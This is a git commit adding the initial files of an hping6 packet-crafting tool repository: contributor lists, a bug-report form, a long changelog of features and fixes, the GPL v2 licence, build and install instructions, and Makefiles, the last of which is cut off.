first draft

This commit is contained in:
Alex 2022-04-13 18:01:39 +08:00
commit 906782e134
111 changed files with 15383 additions and 0 deletions

47
AUTHORS Normal file
View File

@ -0,0 +1,47 @@
Lead developer and maintainer:
Salvatore Sanfilippo <antirez@invece.org>
Regular contributors:
Nicolas Jombart <Nicolas.Jombart@hsc.fr>
Denis Ducamp <Denis.Ducamp@hsc.fr>
Yann Berthier <Yann.Berthier@hsc.fr>
Stephane Aubert <Stephane.Aubert@hsc.fr>
Other contributors:
Brieuc Jeunhomme <bbp@via.ecp.fr>
Mika <mika@qualys.com>
Alfonso De Gregorio <fhex@speedcom.it>
Francesco Potorti` <pot@gnu.org>
Daniel Ginsburg <dbg@nm.ru>
Steve Bleazard <steve@bleazard.com>
Also thanks to the following people for testing, bug reports, ideas,
minor patches, documentation fixes:
Valeriano Bedeschi <vale@seclab.com>
Lorenzo Cavallaro <sullivan@seclab.com>
awgn roofing <root@roof.penguinpowered.com>
Darren Reed <avalon@COOMBS.ANU.EDU.AU>
Lance Spitzner <lance@spitzner.net>
Stefano Brandimarte <stevens@alicom.com>
"roy kozzer" <royk50@hotmail.com>
Jason Lunz <j@trellisinc.com>
Domenico Andreoli <cavok@filibusta.crema.unimi.it>
Gian-Luca Dei Rossi <acaso@venezia.linux.it>
Marco D'Itri <md@linux.it>
Rui Miguel Barbosa Machado <rmbm@rccn.net>
David Bar <dbar@Checkpoint.com>
David Coppa <coffeec@tin.it>
Shachar Shemesh <sun@consumer.org.il>
Brieuc Jeunhomme <bbp@via.ecp.fr>
Hans-Joachim Knobloch <knobloch@secorvo.de>
IPv6 support, regulated flood mode:
Matyas Koszik <koszik@atw.hu>
--------------------------------------------------------------------------------
Note: if you aren't in this list for an oversight, please inform me.

28
BUGS Normal file
View File

@ -0,0 +1,28 @@
-------------------------------------------
Please, use this form to report hping6 bugs
-------------------------------------------
send it to <bugs@invece.org>
You should include:
* The output of "hping --version"
* The output of the command "uname -a"
* The problem description
* The command line used to produce the problem (if possible)
* The output of the command line that produces the problem with
the additional --debug switch.
* A tcpdump trace of the packets, run tcpdump with -s 200 -x
The subject should start with [HPING BUG] followed by
a short description or none. Example:
[HPING BUG] the lookback interface does not work on solaris
If you can, before to report a problem, download the developing
version of hping using the CVS (see the istructions at
http://www.hping.org/download.html) and try it, maybe we already
fixed the problem in the CVS version.
Also read the BUGS section of the manual page to see if
the bug is a known one.

279
CHANGES Normal file
View File

@ -0,0 +1,279 @@
CHANGES LOG
$Id: CHANGES,v 1.33 2004/03/10 12:11:51 njombart Exp $
Authors name abbreviation
AZ Salvatore Sanfilippo 'antirez' <antirez@speedcom.it>
FX Alfonso De Gregorio 'fhex' <fhex@speedcom.it>
MK Mika <mika@qualys.com>
SA Stephane Aubert <Stephane.Aubert@hsc.fr>
NJ Nicolas Jombart <Nicolas.Jombart@hsc.fr>
DD Denis Ducamp <Denis.Ducamp@hsc.fr>
FP Francesco Potorti` <pot@gnu.org>
YB Yann Berthier <Yann.Berthier@hsc.fr>
BJ Brieuc Jeunhomme <bbp@via.ecp.fr>
HK Hans-Joachim Knobloch <knobloch@secorvo.de>
MM Minor contributor, see the change description for credits.
?? If you edit this file put yourself here <your@email>
AZ is the default if not specified.
=======================================================
In order to find bugs fixed search the keyword 'FIX:'
for new supports and features search the keyword 'ADD:'
=======================================================
TO FIX before ??:
* The problem with --rroute and the IP header length field on SunOS,
thanks to Graeme Hewson <graeme.hewson@oracle.com> for reporting it.
MM FIX: Fix for interface guessing with aliases on BSD
Thanks <michel.gravey(@)orange.fr> and <cognet(@)freebsd.org>
MM FIX: fixed cksum.c. Bad outgoing packet checksum with some packet.
Thanks to Brett Eldridge <beldridg@pobox.com>.
AZ ADD: scan mode (--scan)
AZ ADD: A rc4-based PRNG to use with --rand-source and --rand-dest
NJ FIX: Fix -I option for BSD/Apple
NJ ADD: Add support for BSDI and MacOSX (thanks
Dennis Opacki <dopacki@adotout.com> and Jan-Hinrich Fessel
<Jan-Hinrich.Fessel@T-Mobile.de>)
HK ADD: A few useful ICMP options
NJ ADD: Add support for :
WLAN (Fabian Melzow <biop0b@web.de>)
ATM (Debian bug #193436, thanks to Domenico Andreoli)
Token Ring (jim.r.halfpenny@britishairways.com)
NJ ADD: MacOSX patches (Hans-Joachim Knobloch <knobloch@secorvo.de>)
NJ FIX: --rand-source patches from Quentin Garnier <hping@quatriemek.com>
. ensure randomness
. do not stop on errors when using a E or D class address (BSD only?)
20 Nov 2002 -- 2.0.0 stable -- candidate release 2
---------------------------------------------------------------------------
NJ FIX: The bug about port number printing in TCP mode than YB discovered.
NJ ADD: MTU value sanity check in option parsing.
NJ FIX: Fix the use of -W option
NJ ADD: strLcpy() function taken from OpenBSD
NJ FIX: Fix a bug when using BSD and a PPP link as a default route
Move code from routing sockets to get_output_if function.
BJ FIX/ADD: source routing and random bugfixes. Thanks BJ!
AZ ADD: --rand-source for random source addresses.
AZ FIX: all the atoi() call was replaced with strto[u]l().
MM FIX: seq/ack setting using strtoul() instead of atoi(), thanks
to Shachar Shemesh <sun@consumer.org.il>.
AZ ADD: --rand-dest for random destination addresses + manpage update.
AZ FIX/ADD: Major code rewrite.
AZ FIX: DF added to the icmp and udp output.
AZ FIX: --port ++<base> fixed with UDP and enhanced for TCP/UDP. Now the
packets matches only with a sport that is:
>= base_dest_port AND <= current_dest_port.
Thanks to David Bar <dbar@Checkpoint.com> for the original
report.
15 Aug 2001 -- 2.0.0 stable -- candidate release 1
---------------------------------------------------------------------------
AZ FIX: --fast now really sends 10packets/second, not 100. Thanks
to DD for the report.
AZ FIX: bzero/bcopy replaced with the sane memset/memcpy.
DG ADD: Solaris port, with the help of the patch contributed by
Steve Bleazard <steve@bleazard.com>
AZ ADD: Changed a bit the format (flags=S is now <S>) and add the string
DF if the don't fragment bit is on.
AZ FIX: waitpacket.c to take the data aligned. Now hping seems to
work without problems on linux/sparc.
AZ FIX: getifname.c, now even the linux version behaves better locking
for the interface address of the outgoing interface according
to the kernel routing table. getdefaultif.c removed, no loger used.
AZ FIX --tr-stop enhanced (now really exit when an expected packet that
was not an ICMP time exceeded was received)
AZ FIX: --stop-tr is now --tr-stop. All the traceroute mode options
starts with --tr.
AZ ADD: --tr-no-rtt to turn off RTT information in traceroute mode.
Thanks to Denis Ducamp for the idea.
AZ FIX: Now provide traceroute RTT information even with ICMP.
AZ ADD: --stop-tr stops hping in traceroute mode once the first non
ICMP packet is received. Thanks to Denis Ducamp for the idea.
AZ ADD: ICMP subnet address mask support. Not tested.
AZ ADD: TCP timestamp support with HZ and uptime guessing (--tcp-timestamp)
AZ ADD: ICMP timestamp support (--icmptype 13)
AZ FIX: Fixed getlhs.c under BSD to get the header length from the like type.
YB NH AZ FIX: ICMP ID handling on systems with 32 bit pids.
DD ADD: Man page update (not french one!)
AZ ADD: --traceroute now prints RTT information.
AZ ADD: --traceroute now implies --ttl 1 if no --ttl option is specified.
AZ ADD: --fast option that is an alias for -u i10000 (10 packets at second)
MM ADD: ets.* interface (thanks to Stefano Brandimarte.)
AZ FIX: compilation problem (NULL used without including stdlib.h in getusec.c)
AZ FIX: -H switch (alternative to --protoip) thanks to
"roy kozzer" <royk50@hotmail.com>
MM FIX: Man page grammatical mistakes, thanks to Jason Lunz <j@trellisinc.com>,
I applied the patch by hand, so maybe some mistake is still inside.
FP FIX: fixed rtt/sequence number handling, now hping6 can run for hours
keeping the right rtt calculation. Some sentence from the original
Francesco's email:
I am using it to make long measurements of the response times of http
servers around the world, so hping6 keeps running for days. In fact, it
is apparently impossible to use hping6 this way, as the sequence number
wraps around (and this may be okay, in principle) and the program goes
astray.
Precisely, the delay measurements are set to 0 after the wrap around.
Since hping6 is written so cleanly (thanks), I was able to quickly
correct the problem:
(strange, I think hping6 is very hugly code... I wrote it with
too little coding experience)
BTW now the issue is fixed, MANY thanks to Francesco Portori'.
DD FIX: -seqnum (endianess IIRC) fixed.
DD FIX: Random fix to manpage and code.
NJ FIX/ADD: BSD network interfaces related code.
DD ADD: French translation of the hping documentation, under docs/french/
6 July 2000 -- 2.0.0 beta54, raw IP mode, bug fixing, NetBSD support, ...
---------------------------------------------------------------------------
Solaris support still not present, a patch was provided by
Lorenzo Lazzieri but I did not have a solaris box to perform
some test, give me some solarix 2.[67] root account if you
need hping6 ported to solaris. Sorry, but my sparc S4 died
not long ago.
FIX: the stupid nop.c no longer exist.
FIX: tcp sequence number and ack visualization bug for lacks of ntohl()!
FIX: minor coding bugs fixed, minor code cleanup
FIX: man pages path now is obtained from MANPATH
FIX: new *BSD ethernet under getlhs.c
ADD: NetBSD support (thanks to Yann Berthier)
ADD: settable checksum
ADD: now TCP sequence number and ack are settable.
SA ADD: bad checksum option (-b --badcksum).
ADD: settable fragment offset.
ADD: raw IP mode.
ADD: out of sequence packets counter (only with -r option).
ADD: documentation updated and a bit improved.
20 Nov 1999 -- 2.0.0 beta 53, important bug fixed
-------------------------------------------------
Contrary to my hope this beta go out without Solaris support nor deep
testing under BSD systems. This because beta-53 FIX: some important bugs
so I think it's better to release it as soon as possible. I hope that
beta-54 will be more tested under BSD and will contain a first Solaris
support. Please, send me bug report/suggestions first beta-54 release, AZ
AZ ADD: man page updated.
AZ FIX: a very dirty bug introduced in hping6-beta49, it was in waitpacket.c,
all offset was computed using the ip header length of the last packet, and
for the first incoming packet using uninitialized bytes. I suggest you
upgrade ASAP.
AZ ADD: enhanced configure and Makefile. Now "./configure; make" should
be enough at least under Linux, FreeBSD and OpenBSD. configure has options,
try ./configure --help. Also FIX: a `make clean' issue.
AZ FIX: a bug in rtt.c, in some circumstance it returned a negative rtt,
also ADD: an initial sanity check for faster problem tracing in rtt.c.
Now sent packets are registered into 'delay table' *before* of sending, I
think this isn't the better way to do a good timing, but since original ping
program use this way and it avoids some problem hping now use this solution.
AZ FIX: parseoptions.c, some parser fix and more limits for non root users.
AZ ADD: better hgetopt.c, now it's possible to combine short options like
-S -F etc in -SF. The same kind of bug seems still unfixed in gcc and ssh.
AZ if_promisc.c no longer compiled/linked since it isn't used by hping6.
I leave this file here for possible future new features. It will be needed
only for Linux since to set promiscuous mode with libpcap it is not useful.
AZ ADD:/FIX: getlhs.c updated, now system dependent, BSD ethernet names
updated thx to Rui Miguel Barbosa Machado <rmbm@rccn.net>,
FIX: BSD PPP link header size (I hope). Please send me a mail if you
successfully run hping6 under PPP interface on BSD.
AZ ADD: new `utils' directory added and the simple utility hex2bin
AZ ADD: distribution enhanced, CHANGES was extracted from TODO, MIRRORS contain
a mirrors list, BUGS the bug report form, others files added.
16 Nov 1999 -- 2.0.0 beta 52, first public 2.0.0
-------------------------------------------------
AZ add W option for windoze byte ordering
AZ clearest var names
AZ fix incoming packet size computing
AZ add -V verbose mode
AZ add -D debug mode
AZ add support for 2.2.x kernel PF_PACKET socket
AZ fix (null) hostname problem
AZ add usec interval support for -i option
AZ fix -q option
AZ add -y (don't fragment) option
AZ better checksum algorithm from R. Stevens
AZ better icmp logging
AZ add capability of sending data besides header (-d)
AZ add fragmentation capability even with -d option
AZ add ICMP support
AZ get default routing interface from /proc
AZ add -k (keep still source port) option
AZ add UDP support
AZ all #define revisited for more cleanness
AZ recvto() incoming packet max size fixed
AZ data from file option
AZ hex dump of incoming packets
AZ incoming packets content dump (only printable)
AZ packet sign
AZ hgetopt.c, rewrite parse_options using hgetopt()
AZ GNU style options support
AZ target host argument recognized in any positions
AZ broadcast support, waittcp.c must be update (not for ICMP)
AZ fix some problem in hgetopt.c
AZ portability increased a bit
AZ byteorder.c, add ./configure, just for byte ordering check
AZ -9 | --listen <sign> listen mode for file transfers
AZ settable packets id
AZ fixed some problem in hgetopt.c/parseoption.c, assert() removed
AZ when suid don't allows a lot of options if uid != euid
AZ experimental traceroute mode (-T | --traceroute)
AZ HCMP (hping control message protocol) initial devel
AZ better HCMP support for safe protocol 'semi' implemented
AZ main.c clearness improved and reorder.
AZ HCMP for safe protocol works
AZ fix a bug when fragmentations is active (introduced with --id)
AZ settable tos, more than one --tos are ORed.
AZ strong code cleanup, three new files: rtt.c, relid.c, sendip_handler.c
AZ more portable includes, a bit more portable getifname.c
AZ enhanced ICMP support: rtt, (DUP), id.
AZ better ./configure and libpcap support predisposed.
AZ add round-trip min/avg/max statistics.
AZ get interface mtu, tunable fragments size, auto-activate
fragmentation if packet size > mtu
AZ --destport enhanced, now --destport +23 inc dest port
for each packet sent starting from 23.
AZ add libpcap support, Makefile and some .c updated
AZ fixed a bug introduced enhancing --destport option.
AZ if_mtu var name collision in BSD fixed, now h_if_mtu.
AZ better signal handling and minor internal changes.
FX save/restore errno in signal handlers.
FX add memory protection functions mem*.c in order to
prevent swap of sensitive memory areas.
AZ disable memory paging when --sign, --file, --listen used.
AZ Option -c wait after sending last packet
AZ ported on OpenBSD 2.3 (tested also on OpenBSD 2.5)
AZ enhanced ICMP support, now send type 8,0,3,4,5,11
AZ --traceroute default bind ttl to ctrl+z
MK Now waitpacket() handle ip options
MK Record route option support, and update IP related
functions to handle options. Also add ip_opt_build.c
and display_ipopt.c (ripped from ping)
AZ some bug fixed
AZ --tcpexitcode option that exit with last tcp->th_flags
AZ datafiller.c bug fix
AZ add -p ++port, as -p +port but that increments the destination
port even if no replies are received.
AZ fix getifname.c big problems with OpenBSD: it works only
for certain interface (now *seems* fixed)
AZ portable sendip.c raw socket ip fields byte ordering (N.B.
Linux and OpenBSD has all ip field in network byte order
so you may add right defines if you port hping6 to other OSs)
AZ compiles/works under FreeBSD 3.3
17 Dec 1998 -- 0.67 release
---------------------------
AZ add -a option

351
COPYING Normal file
View File

@ -0,0 +1,351 @@
hping6 is free software. It comes under GPL version 2,
except for the following:
display_ipopt.c : from ping, BSD style license
libpcap library : BSD style license
for more information see the upper part of this files.
WARNING: hping6 is covered *ONLY* by GPL version 2, and *NOT* any others.
hping6 is Copyright (C) 1998, 1999 by Salvatore Sanfilippo.
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
675 Mass Ave, Cambridge, MA 02139, USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
Appendix: How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) 19yy <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) 19yy name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.

70
INSTALL Normal file
View File

@ -0,0 +1,70 @@
You can compile hping6 at least under:
Linux
OpenBSD
FreeBSD
NetBSD
Solaris
With Linux you don't need any libs, nor to be root,
however you need uid 0 to run hping.
Linux
-----
please, follows this steps:
$ ./configure (first try ./configure --help)
$ vi Makefile (optional)
$ make
$ su
# make install
FreeBSD, OpenBSD, NetBSD
------------------------
You will need the libpcap and the gmake utility installed on your system.
$ ./configure
$ gmake
$ su (or calife)
# gmake install
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
NOTE: You should take care about your net/bpf.h file installing on
BSD systems (specially with OpenBSD). If your original bpf.h was
overwritten with the libpcap one probably hping will not work
with over some interface.
For example if you use the libpcap bpf.h on OpenBSD hping will
not work over PPP interfaces.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solaris
-------
$ export CC="gcc"
$ ./configure
$ gmake
$ su
# gmake install
ALL
---
If you need to run hping6 by your normal
account (i.e. antirez) try the following commands:
# chown root:antirez /usr/sbin/hping6
# chmod 4750 /usr/sbin/hping6
WARNING: hping6 is not trusted code, i didn't
audit for hidden buffers overflow and others
security related problems. However if (as default)
LIMITWHENSUID is defined if euid != uid
it's not possible to use a lot of options
trivially unsafe.
suid it at root is not encouraged.
antirez

1
KNOWN-BUGS Normal file
View File

@ -0,0 +1 @@
See the BUGS manual section.

77
Makefile Normal file
View File

@ -0,0 +1,77 @@
# $smu-mark$
# $name: Makefile.in$
# $author: Salvatore Sanfilippo 'antirez'$
# $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
# $license: This software is under GPL version 2 of license$
# $date: Sun Jul 25 17:56:15 MET DST 1999$
# $rev: 3$
CC= gcc
AR=/usr/bin/ar
RANLIB=/usr/bin/ranlib
CCOPT= -O2 -Wall
DEBUG= -g
#uncomment the following if you need libpcap based build under linux
#(not raccomanded)
COMPILE_TIME=
INSTALL_MANPATH=/usr/local/man
OBJ= main.o getifname.o getlhs.o \
linux_sockpacket.o parseoptions.o datafiller.o \
datahandler.o gethostname.o \
binding.o getusec.o opensockraw.o \
logicmp.o waitpacket.o resolve.o \
sendip.o sendip6.o sendicmp.o sendicmp6.o sendudp.o \
sendtcp.o cksum.o statistics.o \
usage.o version.o antigetopt.o \
sockopt.o listen.o \
sendhcmp.o memstr.o rtt.o \
relid.o sendip_handler.o \
libpcap_stuff.o memlockall.o memunlockall.o \
memlock.o memunlock.o ip_opt_build.o \
display_ipopt.o sendrawip.o signal.o send.o \
strlcpy.o arsglue.o random.o random6.o scan.o \
hstring.o libars.a
ARSOBJ = ars.o apd.o split.o
all: hping6
libars.a: $(ARSOBJ)
$(AR) rc $@ $^
$(RANLIB) $@
hping6: byteorder.h $(OBJ)
$(CC) -o hping6 $(CCOPT) $(DEBUG) $(OBJ) $(PCAP)
@echo
./hping6 -v
@echo "use \`make strip' to strip hping6 binary"
@echo "use \`make install' to install hping6"
byteorder.h:
./configure
.c.o:
$(CC) -c $(CCOPT) $(DEBUG) $(COMPILE_TIME) $<
clean:
rm -rf hping6 *.o *.a
-(cd utils; $(MAKE) clean)
distclean:
rm -rf hping6 *.o *.a byteorder byteorder.h systype.h Makefile
-(cd utils; $(MAKE) clean)
install: hping6
mkdir -p ${prefix}/sbin/
cp -f hping6 ${prefix}/sbin/
chmod 755 ${prefix}/sbin/hping6
@if [ -f ${prefix}/sbin/hping2 ]; then \
rm ${prefix}/sbin/hping2; \
fi
strip: hping6
@ls -l ./hping6
strip hping6
@ls -l ./hping6

77
Makefile.in Normal file
View File

@ -0,0 +1,77 @@
# $smu-mark$
# $name: Makefile.in$
# $author: Salvatore Sanfilippo 'antirez'$
# $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
# $license: This software is under GPL version 2 of license$
# $date: Sun Jul 25 17:56:15 MET DST 1999$
# $rev: 3$
CC= gcc
AR=/usr/bin/ar
RANLIB=/usr/bin/ranlib
CCOPT= -O2 -Wall @PCAP_INCLUDE@
DEBUG= -g
#uncomment the following if you need libpcap based build under linux
#(not raccomanded)
COMPILE_TIME= @FORCE_LIBPCAP@
INSTALL_MANPATH=@MANPATH@
@PCAP@
OBJ= main.o getifname.o getlhs.o \
linux_sockpacket.o parseoptions.o datafiller.o \
datahandler.o gethostname.o \
binding.o getusec.o opensockraw.o \
logicmp.o waitpacket.o resolve.o \
sendip.o sendip6.o sendicmp.o sendicmp6.o sendudp.o \
